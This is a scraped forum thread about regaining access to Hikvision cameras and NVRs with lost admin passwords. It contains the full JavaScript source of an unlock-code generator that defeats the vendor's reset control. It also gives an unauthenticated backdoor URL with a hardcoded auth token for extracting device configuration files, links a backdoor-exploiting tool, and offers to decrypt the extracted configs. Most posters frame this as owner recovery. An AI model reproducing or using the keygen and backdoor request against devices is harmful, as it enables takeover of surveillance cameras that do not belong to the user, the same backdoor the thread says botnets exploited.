Hikvision camera admin password reset tool

[bluebear911]

Hi @alastairstevenson

 

[alastairstevenson]

OK - so that's too new to use the 'Hikvision backdoor' vulnerability to extract the configuration file.

 

[bloss0m]

Hello, is anyone able to please help me factory reset my dvr? We recently moved into a new home and the previous owner kept his security system included but we cannot get past the admin login screen. Any help or advice is greatly appreciated!

Hikvision also gave no support and I cannot locate a reset button anywhere on the system and motherboard.

Model: EAR326-8/E
IP: 192.168.0.208
Firmware: V4.21.002build 200226
SADP Date: 2023-01-13 22:26:42 PM

Thank you.

 

[DuckyTheDuck]

Hi! I need some help, i have an DS-7104HGHI-F1 NVR which the password has been lost, i have software version V3.4.891build190121 and i cannot use neither SADP 2.0 or Password reset tool, SADP 2.0 says password reset failed, and password reset tool says an unexpected error occurred on a recieve.

any ideas?

 

[jroman]

Hello. First time posting here.

I have read through a good bit of this thread, but will admit i have not hit all 59 pages.

I have come into a system that nobody knew the password to and they had already reset everything trying to get in before I got here. So i can't use any file off the NVR to see the old password. I have 2 Hikvision cameras, DS-2CD3345 that Hikvision won't help me with a password reset as they say they were bought though non-authorized distributors.

I have been able to work with Hikvision to reset the NVR and i have gotten 14 of the 16 cameras working. Just down to these two cameras that don't have any physical reset button and Hikvision won't help with. They are on FW version 5.5.0build 170728 so the password reset tool a the beginning of this thread won't work (i have tried...)

Is there anything else i can do or any other suggestions to reset the password?

Thank you so much,
Jared

 

[chelsearko]

Hi! I need some help, i have an DS-7104HGHI-F1 NVR which the password has been lost, i have software version V3.4.891build190121 and i cannot use neither SADP 2.0 or Password reset tool, SADP 2.0 says password reset failed, and password reset tool says an unexpected error occurred on a recieve.

any ideas?

Did you try the trojan horse trick ? by connecting a camera with an older firmware to the NVR and extracting the file from the camera itself. Thats how I got my original password from the NVR that I used.

 

[Makeeuropeanu]

Hi, I have a Hikvision NVR model ds-7208huhi-f1/n that I don't know the password, and I have tried yesterday to reset it with the code generator without success. I was able to export the xml, and tried with latest SADP tool and also with version 2.0. No success.
I have downloaded the latest firmware and set up TFTP, and it was connecting to the device but couldn't upload the firmware, error was econt_vision-av2000 failure.
Any suggestions? See attached xml.
Software version is V3.4.80build 161028.

 

[alastairstevenson]

I was able to export the xml

You need to send that reset request file to Hikvision support in order to receive the response file.
Only Hikvision can process the file as it needs their private key to do so.

error was econt_vision-av2000 failure.

That's not an error, it's the DVR checking for ArecontVision devices on the LAN when it boots up, and the tftp updater treating the probe as a potential handshake attempt.

it was connecting to the device but couldn't upload the firmware,

Can you be more specific?
Perhaps you are not using the right firmware, for example.
I'm guessing that firmware for your DVR might be here, somewhere in the confusion of model types :

https://www.hikvisioneurope.com/eu/portal/?dir=portal/Technical%20Materials/03%20%20DVR/00%20%20Product%20Firmware/%5BTurbo%203.0%5D

 

[chelsearko]

Hi, I have a Hikvision NVR model ds-7208huhi-f1/n that I don't know the password, and I have tried yesterday to reset it with the code generator without success. I was able to export the xml, and tried with latest SADP tool and also with version 2.0. No success.
I have downloaded the latest firmware and set up TFTP, and it was connecting to the device but couldn't upload the firmware, error was econt_vision-av2000 failure.
Any suggestions? See attached xml.
Software version is V3.4.80build 161028.

Did you check to see if your NVR has a reset button.

 

[Makeeuropeanu]

Did you check to see if your NVR has a reset button.

Hi, I did check, not even a jumper or an empty place on pcb where button should have been.
I have emailed hikvision yesterday and still waiting for their answer. If no success from them, I will keep trying, I'm suspecting that the firmware I have downloaded might be the wrong one, I will try one from Alastair link, thank you. Will keep you posted.

 

[Makeeuropeanu]

After more than a month I had no reply from hikvision, I gave up using that dvr.
I have found on my pile of old hardware another dvr that I still don't know the exact company. At booting it shows ZXTech logo, but it had no hard drive. I've moved the hard drive from hikvision one, formatted it and reset it to default settings. I was pleased to see I can access the menu and It has no password. Now, trying to connect the camera I have was no success. By all means I'm no expert and I was thinking just hooking it up it will work? No image is shown on any inputs when I connect the camera. I'm about to give up again. I'll attach some pictures.

 

[SmartDuck]

Hey Alastair are you still decrypting old config files. I was able to pull the config files from 2 cameras. I believe they're winictech altho I'm not 100% certain as I wasn't original installer

 

[alastairstevenson]

Sure, let's give it a go.
Zip up the files and attach here.

 

[SmartDuck]

Here's the two of them zipped together. Thanks for your time

 

[alastairstevenson]

For the "Room Two South" IP-NC304-XD-2.8 - 570631610 camera, the admin password is
asdf1234

For the "NorthEast Side" IP-NC304-XD-2.8-G - 571709130 camera, the admin password is
asdf1234

These passwords indicate that both cameras were subject to a hackerbot campaign which used the 'Hikvision backdoor vulnerability' when they were exposed directly to the inhternet, possibly by UPnP being enabled on both router and camera, or by port forwarding being configured.

 

[korobas]

If you have ever locked yourself out of a Hikvision camera or NVR by forgetting the admin password, and had to beg Hikvision or anyone else for an unlock code, you will appreciate this. I present a small tool that lets you generate your own unlock codes which can be entered into SADP to reset the admin password on any of your Hikvision cameras. This tool is written in HTML/CSS/JavaScript so it runs in any modern web browser and you can view the complete source code easily.

/
Update (September 13, 2017)

It is now possible to reset passwords on some cameras that won't work with the reset code tool, by exploiting a backdoor that was recently made public.

I've built a tool for that. It only works with cameras (not NVRs. If you need to reset an NVR, click here.

GitHub - bp2008/HikPasswordHelper: A tool which exploits a backdoor in Hikvision camera firmwares circa 2014-2016 to help the owner change a forgotten password.



/

Disclaimer: This tool may or may not work for your camera or NVR. Please follow the instructions very carefully and be precise in all your inputs into the tool. Devices on newer firmware require a more secure password reset procedure which I can not help with. I think this tool will only work with cameras running firmware older than 5.3.0. I do not know what version is the cutoff for NVRs.

Some Hikvision devices (perhaps only NVRs) show their model number appended to the beginning of their serial numbers. You may need to remove this from the serial number that you enter into the tool. For example, if the serial number shows as DS-7208HVI-ST0123456789AAWR987654321WCVU and the device's model number is DS-7208HVI-ST, then the true serial number is 0123456789AAWR987654321WCVU

Without further ado, here is a link so you can use it without downloading anything: Hikvision Password Reset Tool



Inside this spoiler block is the complete source code which you can write to a .html file on your computer, allowing you to use it offline.

Spoiler

<html>
<head>
    <title>Hikvision Password Reset</title>
    <script type="text/javascript">
        function padLeft(str, l, c) { str = str + ""; return Array(l - str.length + 1).join(c || " ") + str }
        function initialize()
        {
            document.getElementById("year").value = new Date().getYear() + 1900;
            document.getElementById("month").value = padLeft(new Date().getMonth() + 1, 2, '0');
            document.getElementById("day").value = padLeft(new Date().getDate(), 2, '0');

            document.getElementById("serialNumber").onchange = GenerateSerialCode;
            document.getElementById("year").onchange = GenerateSerialCode;
            document.getElementById("month").onchange = GenerateSerialCode;
            document.getElementById("day").onchange = GenerateSerialCode;
        }
        function GenerateSerialCode()
        {
            var serialNumber = document.getElementById("serialNumber").value;
            var year = document.getElementById("year").value;
            var month = document.getElementById("month").value;
            var day = document.getElementById("day").value;
            var plainText = serialNumber + year + month + day;

            var magicNumber = 0;
            for (var i = 0; i < plainText.length; i++)
                magicNumber += (plainText.charCodeAt(i) * (i + 1)) ^ (i + 1);

            magicNumber *= 1751873395;
            magicNumber = magicNumber >>> 0; / convert to 32 bit integer

            var magicWord = magicNumber + "";
            var serialCode = "";
            for (var i = 0; i < magicWord.length; i++)
            {
                var c = magicWord.charCodeAt(i);
                if (c < 51)
                    serialCode += String.fromCharCode(c + 33);
                else if (c < 53)
                    serialCode += String.fromCharCode(c + 62);
                else if (c < 55)
                    serialCode += String.fromCharCode(c + 47);
                else if (c < 57)
                    serialCode += String.fromCharCode(c + 66);
                else
                    serialCode += String.fromCharCode(c);
            }

            document.getElementById("output").innerHTML = serialCode;
        }
        window.onload = initialize;
    </script>
    <style type="text/css">
        body
        {
            width: 450px;
        }
        .description
        {
            margin: 20px 0px;
        }
        .label
        {
            margin: 10px 0px;
        }
        .input
        {
            margin-bottom: 10px;
        }
        #output
        {
            font-weight: bold;
            border: 1px solid black;
            padding: 10px;
            font-size: 2em;
            max-width: 100%;
        }
    </style>
</head>
<body>
    <div><h2>Hikvision Camera Password Reset Utility</h2></div>
    <div class="description">This tool will generate a <b>password reset code</b> which you may use to reset a forgotten admin password for a Hikvision camera.</div>
    <div class="label">Enter your camera's complete CASE SENSITIVE serial number, as seen in the <a href="http://www.google.com/search?q=Hikvision%20SADP">Hikvision SADP</a> tool:</div>
    <div class="input"><input type="text" id="serialNumber" style="width: 100%" placeholder="Hikvision Camera Serial Number" /></div>
    <div class="label"><b>Important:</b> The date you enter below much match with the camera's clock. <b>Most likely it is not today's date!</b> To find out what date your camera thinks it is, power cycle your camera, give it time to boot up, and then refresh your camera list in SADP and check the Start Time column.</div>
    <div class="label">Enter the <b>4 digit</b> year the camera thinks it is:</div>
    <div class="input"><input type="text" id="year" style="width: 20%" /></div>
    <div class="label">Enter the <b>2 digit</b> month the camera thinks it is:</div>
    <div class="input"><input type="text" id="month" style="width: 20%" /></div>
    <div class="label">Enter the <b>2 digit</b> day the camera thinks it is:</div>
    <div class="input"><input type="text" id="day" style="width: 20%" /></div>
    <div class="label">Your <b>password reset code</b> will appear below.</div>
    <div id="output"></div>
    <div class="label">The code must be entered into the <a href="http://www.google.com/search?q=Hikvision%20SADP">Hikvision SADP</a> tool in the <b>Serial code</b> box (called <b>Security Code</b> in later SADP versions). The camera will compare its internal date and time with the date and time you have entered above. The Serial Number and date much match perfectly or else the code will not work.</div>
</body>
</html>

Some will say it is irresponsible to publish this. I disagree. Evidently a number of people outside of Hikvision have possessed the ability to generate these codes for a while now. I found this (similar) functionality freely available for download elsewhere, so I really don't feel bad about releasing this and making it a bit easier to recover your cameras.@#3

I made an account just to say a big thank you, i found a couple of DS-2CD2T22 discarded in scrap equipment that was going for recycle. It was functional but there was no way to recover admin pass. The password changer worked perfectly, since the cameras were on original firmware. It would be such a waste to recycle those babies, even in used condition worth about 100-150 each

 

[nl635]

I have got bunch of DS-2CD2T42WD-I5 cameras with lost password

I have read hundreds of posts, is there any definitive way to reset them?


In the past I have tried to ask hikvision support for the reset, but they didnt not helped.

 

[alastairstevenson]

is there any definitive way to reset them?

Maybe. I think that version of firmware has the 'backdoor vulnerability' that allows the configuration file to be extracted without authentication.
If so - the file can be decrypted and decoded to reveal the admin password.

Suggestion to try :
Assuming the PC is on the same network as the camera, change the PC IP address to 192.168.254.100
Then for the camera in your screenshot use this URL in the browser :

http://192.168.254.3/System/configurationFile?auth=YWRtaW46MTEK

If that extracts a configuration file, zip it up and attach here and it can be processed.

The IP address suggests the camera has been on a Hikvision NVR PoE port, so it's likely the other cameras will have the same password if they were set up together.
If not, repeat the process for the other cameras.

 

[nl635]

Link worked. I have got the configuration file.

If I understand correctly, you are the one who can decrypt and decode the password? Can I send you this file to PM? I dont know how many cameras are still live with the same password, so I wouldnt like to make it public...

 

[Oleglevsha]

Link worked. I have got the configuration file.

If I understand correctly, you are the one who can decrypt and decode the password? Can I send you this file to PM? I dont know how many cameras are still live with the same password, so I wouldnt like to make it public...

Сброс пароля Hikvision

Сброс пароля Hikvision - все подробности в блоге компании ALARMSYSTEM, системы безопасности и видеонаблюдение в Волгограде и области.

alarmsystem-cctv.ru

do it yourself, you need method 3